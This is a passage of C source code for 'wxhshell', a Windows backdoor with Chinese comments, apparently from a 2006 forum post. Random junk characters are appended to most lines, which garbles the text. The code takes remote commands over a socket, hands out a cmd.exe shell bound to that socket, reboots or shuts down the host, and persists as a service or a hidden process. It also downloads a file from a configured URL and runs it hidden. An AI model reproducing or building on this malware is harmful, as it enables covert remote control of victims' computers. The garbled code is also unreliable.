nPhREn!  
    switch(cmd[0]) { *iV#_  
  FpZ5@  
  // 帮助 +de5y]1H,|  
  case '?': { 4iY <7l8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ME?o  
    break; s8SCEpz  
  } Iv/h1j> H  
  // 安装 83F]d+n  
  case 'i': { u. 2^t :A  
    if(Install()) h<i.Z7F;tj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=$ F*B>9  
    else )h1 `?q:5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {BZ0x2  
    break; rBZ00}  
    } vy5I#q(k  
  // 卸载 g{JH5IZ~  
  case 'r': { [6)vD@  
    if(Uninstall()) V o%GO 9b;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = Q"(9[Az  
    else O^IS:\JX&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 64D4*GQ  
    break; pp()Hu3J  
    } n1)].`  
  // 显示 wxhshell 所在路径 0>:`|IGnT2  
  case 'p': { NN~PWy1opa  
    char svExeFile[MAX_PATH]; jV' tcFr4  
    strcpy(svExeFile,"\n\r"); caZEZk#r;  
      strcat(svExeFile,ExeFile); GK&R.R]  
        send(wsh,svExeFile,strlen(svExeFile),0); CJ[e^K{  
    break; qWJa p-hb  
    } {'cdi`  
  // 重启 %:y"o_X_  
  case 'b': { d.k'\1o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j6Au<P  
    if(Boot(REBOOT)) R^rA.7T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).jna`A,  
    else { qot {#tk d  
    closesocket(wsh); w[J.?v&^  
    ExitThread(0); :AyZe7:(D  
    } <Ys7`e6eY  
    break; cq9d;~q  
    } *oAnG:J+M  
  // 关机 Fl++rUT  
  case 'd': { p<&dy^mS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pz-=Eq  
    if(Boot(SHUTDOWN)) M] W5 %3do  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wV'_{ /WM  
    else { =<U'Jtu6'  
    closesocket(wsh); e)oi3d.wJf  
    ExitThread(0); Jo9c|\4  
    } r6 L  
    break; !%QbE[Kl>  
    } Tx/KL%X  
  // 获取shell !={QL:  
  case 's': { ]% UAN_T  
    CmdShell(wsh); -;$jo-  
    closesocket(wsh); ~HXZ-*  
    ExitThread(0); sVP2$?  
    break; CN7qqd  
  } S.^x)5/,,T  
  // 退出 [H>/N7v19*  
  case 'x': { ,62BZyT,T,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2Oy-jM  
    CloseIt(wsh); Rr>""  
    break; N~B'gJJDx  
    } N}q*(r!q<  
  // 离开 r8!M8Sc  
  case 'q': { +N!/>w]n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |sDp>..  
    closesocket(wsh); D$SO 6X~  
    WSACleanup(); o Hrx$>W]  
    exit(1); 4<U6jB5  
    break; @fd{5 >\  
        } a!:R_P}7  
  } LsNJ3oy  
  } /7C %m:  
cQ/T:E7$`  
  // 提示信息 s=n_(}{ q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l%7^'nDn  
} w4Ku1G#jC  
  } _2WIi/6K  
M:w]g`LKl  
  return; ~T&X#i  
} u!cA_,  
T\L LOx\  
// shell模块句柄 e{d$OzT) V  
int CmdShell(SOCKET sock) IeBb#Qedz  
{ .T}S[`Yx5  
STARTUPINFO si; dNz!2mbO  
ZeroMemory(&si,sizeof(si)); |R(rb-v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r'u[>uY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \fL:Ie  
PROCESS_INFORMATION ProcessInfo; `Dv &.  
char cmdline[]="cmd"; 5va ;Ol4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y#5;wb<1  
  return 0; ^X slj  
} SMh[7lU`  
}Yp]A  
// 自身启动模式 =JB1]b{|  
int StartFromService(void) /ee4 v!  
{ jI807g+  
typedef struct 6Q9S~YYq  
{ Q |^c5  
  DWORD ExitStatus; |HK/*B  
  DWORD PebBaseAddress; l # F.S5i  
  DWORD AffinityMask; GK:pt8=  
  DWORD BasePriority; U`ELd:  
  ULONG UniqueProcessId; NGb\e5?  
  ULONG InheritedFromUniqueProcessId; _xU2C<)1&  
}   PROCESS_BASIC_INFORMATION; WG3 .qLH%  
g [+_T{  
PROCNTQSIP NtQueryInformationProcess; xr-v"-  
WK6|e[iP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JKs&!!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?:sQ]S/Er  
^ZO3:"t!w  
  HANDLE             hProcess; XJi^gT N  
  PROCESS_BASIC_INFORMATION pbi; @0q*50  
Toc="F`SW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T13Jno  
  if(NULL == hInst ) return 0; .R {P%r  
>zB0+l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I?i,21:5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CT#N9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X.!|#FWb+  
e5fzV.'5  
  if (!NtQueryInformationProcess) return 0; z c, Q  
lDhuL;9e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /h73'"SpDy  
  if(!hProcess) return 0; Iw) 'Yyg  
W=T,hOyh<W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f}F   
d512Y[ R  
  CloseHandle(hProcess); %q 7gl;'  
!RwOU Ck  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NKb,>TO  
if(hProcess==NULL) return 0; XvspE}~y  
eLAhfG  
HMODULE hMod; m;KD@E!  
char procName[255]; 8?&u5  
unsigned long cbNeeded; ;?0r,0l2$  
En/EQ\T@F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "+:IA|1wD  
Se-n#  
  CloseHandle(hProcess); \)n'Ywr  
}N<> z  
if(strstr(procName,"services")) return 1; // 以服务启动 G8_|w6  
. 'rC'FT  
  return 0; // 注册表启动 S?Z"){  
} vS'5Lm  
p-o!K\o-1  
// 主模块 x(/{]$h  
int StartWxhshell(LPSTR lpCmdLine) iSxuor ^;  
{ %t\ ~3pw=  
  SOCKET wsl; p8Wik<'^  
BOOL val=TRUE; |v%xOl  
  int port=0; o>Jr6: D(  
  struct sockaddr_in door; EAM2t|M G.  
IQ"9#{o  
  if(wscfg.ws_autoins) Install(); x4vowF  
..hD_k  
port=atoi(lpCmdLine); _lj&}>l  
/NFcIU  
if(port<=0) port=wscfg.ws_port; l TRQ/B  
Zm!5X9^!  
  WSADATA data; :=K <2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; byUstm6y  
B)4>:j:{?W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VaRP+J}UA.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N/&t) 7  
  door.sin_family = AF_INET; 41V}6+$g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Qe&#"O0  
  door.sin_port = htons(port); Iz[T.$9  
VDP \E<3"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2{o eJ  
closesocket(wsl); 0*Is#73rjY  
return 1; jVtRn.qh  
} "~&d= f0m  
{)d{:&*K.  
  if(listen(wsl,2) == INVALID_SOCKET) { k3wAbGp  
closesocket(wsl); v}AVIdR  
return 1; +sc--e?  
} wO {-qrN  
  Wxhshell(wsl); &p2fMVWJ7  
  WSACleanup(); !Yan}{A,  
=fr_` "?k  
return 0; 1v^eXvY  
\E<t'\>@X  
} [10;Mg  
UI>?"b6 L  
// 以NT服务方式启动 1]<w ZV}.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `vFYe N;  
{ gP?uLnzvi  
DWORD   status = 0; )W& $FU4JK  
  DWORD   specificError = 0xfffffff; `Mp-4)mn  
%IbG@ }54  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p/k6}Wl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rpu{YC1C%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>`!W|=_  
  serviceStatus.dwWin32ExitCode     = 0; psZAO,p  
  serviceStatus.dwServiceSpecificExitCode = 0; .\X;VWTI  
  serviceStatus.dwCheckPoint       = 0; It/IDPx4ga  
  serviceStatus.dwWaitHint       = 0; r g$2)z1  
+/E yX =  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UoiXIf_Q  
  if (hServiceStatusHandle==0) return; 8#MiM . f  
i #%17}  
status = GetLastError(); aA-gl9  
  if (status!=NO_ERROR) Uj[E_4h  
{ dwc$#cMf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; igD,|YSK`z  
    serviceStatus.dwCheckPoint       = 0; n rpxZA  
    serviceStatus.dwWaitHint       = 0;  \tWFz(  
    serviceStatus.dwWin32ExitCode     = status; |#. J  
    serviceStatus.dwServiceSpecificExitCode = specificError; D!oELZ3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +w]KK6  
    return; 9 ZD4Gv   
  } Lh(` 9(tX  
cj!Ew}o40D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XPt<k&o1,  
  serviceStatus.dwCheckPoint       = 0; @m=xCg.Z  
  serviceStatus.dwWaitHint       = 0; Rn-RMD{dh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LT3ViCZ-n  
} [*k25N  
Iw<: k  
// 处理NT服务事件,比如:启动、停止 u`]J]gE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7O,y%NWaK  
{ }RvP*i  
switch(fdwControl) @l:o0(!W  
{ JP t=~e(  
case SERVICE_CONTROL_STOP: $C;)Tlh  
  serviceStatus.dwWin32ExitCode = 0; dSkW[r9Z%l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E?z~)0z2`  
  serviceStatus.dwCheckPoint   = 0; ^at X/  
  serviceStatus.dwWaitHint     = 0; cN5,\I.  
  { 9y~5@/3 2R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \MA 4>  
  } $bd&$@sA  
  return; azxGUS_i<  
case SERVICE_CONTROL_PAUSE: #Wz7ju;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w)hH8jx{  
  break; &ZRriqsQg  
case SERVICE_CONTROL_CONTINUE: EC4RA'Bg1k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .qcIl)3  
  break; POtj6 ?a  
case SERVICE_CONTROL_INTERROGATE: Oz[]]`C1  
  break;  jx3J$5  
}; cBO.96ZHE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &pCNOHi|  
}  6tPgFa#N  
XPhC*r  
// 标准应用程序主函数 )r)3.|wJm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H 40~i=.  
{ 7( &\)qf=n  
5VU 5kiCt  
// 获取操作系统版本 E8Jy!8/X9T  
OsIsNt=GetOsVer(); ?J<V-,i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?4kM5NtP  
t@`w}o[#  
  // 从命令行安装 _i=431Z40  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7$l!f  
W]]@pbG"H\  
  // 下载执行文件 NEpomE(>x  
if(wscfg.ws_downexe) { ]}wo$7pO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _dgS@n;6  
  WinExec(wscfg.ws_filenam,SW_HIDE); q;^Q1[Ari  
} W_%p'8,  
8+>r!)Q+  
if(!OsIsNt) { 5u<F0$qHc  
// 如果时win9x,隐藏进程并且设置为注册表启动 [=})^t?8  
HideProc(); vbo:,]T<A  
StartWxhshell(lpCmdLine); 9\_^"5l  
} ne=?'e4  
else _NfdJ=[Xh  
  if(StartFromService()) \lJCBb+k  
  // 以服务方式启动 /YP,Wfd%  
  StartServiceCtrlDispatcher(DispatchTable); BP&T|s  
else ]5V=kNu i  
  // 普通方式启动 dOm@cs  
  StartWxhshell(lpCmdLine); [IF5Iv\b  
Pp*:rA"N  
return 0; < )dqv0=  
}
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只看该作者 1 发表于: 2006-10-10
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